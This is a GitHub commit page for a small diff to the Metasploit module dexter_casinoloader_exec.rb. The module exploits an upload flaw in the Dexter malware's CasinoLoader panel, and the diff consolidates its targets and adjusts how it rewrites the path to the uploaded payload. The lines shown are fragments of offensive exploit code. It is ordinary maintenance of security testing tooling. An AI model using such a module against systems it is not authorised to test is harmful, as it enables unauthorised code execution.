Skip to content

Commit c981bbe

Browse files
committed
Land rapid7#3011, @wchen-r7's fix for Dexter exploit
2 parents b2d4048 + ed2ac95 commit c981bbe

File tree

1 file changed

+3
-5
lines changed

1 file changed

+3
-5
lines changed

modules/exploits/multi/http/dexter_casinoloader_exec.rb

Lines changed: 3 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -41,10 +41,10 @@ def initialize(info={})
4141
'Arch' => ARCH_PHP,
4242
'Targets' =>
4343
[
44-
['CasinoLoader gateway.php on Windows', {}],
45-
['CasinoLoader gateway.php on Linux', {}]
44+
['CasinoLoader gateway.php', {}]
4645
],
4746
'Privileged' => false,
47+
'DefaultTarget' => 0,
4848
'DisclosureDate' => "Feb 08 2014"
4949
))
5050

@@ -157,9 +157,7 @@ def exploit
157157

158158
if res and res.code == 200 and res.body =~ /a href="upload.php\?del=(.*)">/
159159
path = $1
160-
if target.name =~ /Linux/
161-
path = path.sub! "\\", "/"
162-
end
160+
path = path.sub! "\\", "/"
163161
target_path = normalize_uri(target_uri.path, path)
164162
print_status("#{peer} - Requesting: #{target_path}")
165163
send_request_raw({'uri' => normalize_uri(target_path)})

0 commit comments

Comments
 (0)